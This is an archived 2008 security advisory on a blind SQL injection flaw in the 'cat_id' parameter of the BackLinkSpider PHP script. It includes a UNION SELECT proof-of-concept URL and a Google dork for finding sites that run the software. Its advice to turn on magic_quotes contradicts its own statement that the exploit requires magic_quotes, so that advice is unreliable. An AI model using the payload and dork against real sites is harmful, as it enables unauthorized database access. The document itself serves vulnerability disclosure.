BackLinkSpider (cat_id) Remote SQL Injection Vulnerability

🗓️ 07 May 2008 00:00:00Reported by RootType
BackLinkSpider Remote SQL Injection Vulnerability Author M.Hasran Addahroni, Date May 5th 2008, Jakarta Location, Medium Impact System access, Affected software BackLinkSpider, Vulnerability cat_id parameter, Exploit requires enabled magic_quotes

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ECHO_ADV_95$2008

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[ECHO_ADV_95$2008]&nbsp;BackLinkSpider&nbsp;(cat_id)&nbsp;Blind&nbsp;Sql&nbsp;Injection&nbsp;Vulnerability
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Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;May,&nbsp;5&nbsp;th&nbsp;2008
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Jakarta,&nbsp;Indonesia
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv95-K-159-2008.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Medium
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
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Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;BackLinkSpider
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;unknown
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.backlinkspider.com/
Description&nbsp;&nbsp;&nbsp;:

BackLinkSpider&nbsp;is&nbsp;a&nbsp;free&nbsp;link&nbsp;exchange&nbsp;service&nbsp;designed&nbsp;to&nbsp;provide&nbsp;you&nbsp;with&nbsp;access&nbsp;to&nbsp;a&nbsp;growing&nbsp;number&nbsp;of&nbsp;link&nbsp;exchange&nbsp;partners&nbsp;in&nbsp;our&nbsp;link&nbsp;directory&nbsp;page
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Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;cat_id&quot;&nbsp;parameter&nbsp;in&nbsp;backlinkspider's&nbsp;page&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;sql&nbsp;query.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;execute&nbsp;sql&nbsp;query&nbsp;through&nbsp;the&nbsp;browser.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;magic_quotes&quot;&nbsp;is&nbsp;enabled.


Poc/Exploit:

~~~~~~~~~
http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*


Dork:
~~~~
Google&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&quot;Powered&nbsp;By&nbsp;BackLinkSpider&quot;&nbsp;&quot;inurl:backlinkspider.php&quot;


Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;on&nbsp;magic_quotes&nbsp;in&nbsp;php.ini
&nbsp;

Timeline:
~~~~~~~~

-&nbsp;03&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;bug&nbsp;found
-&nbsp;05&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;advisory&nbsp;released
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Shoutz:
~~~~
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~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net
~&nbsp;special&nbsp;for&nbsp;rgod&nbsp;-&nbsp;good&nbsp;bye&nbsp;mate,&nbsp;thanks&nbsp;for&nbsp;the&nbsp;great&nbsp;works.
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Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

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07 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1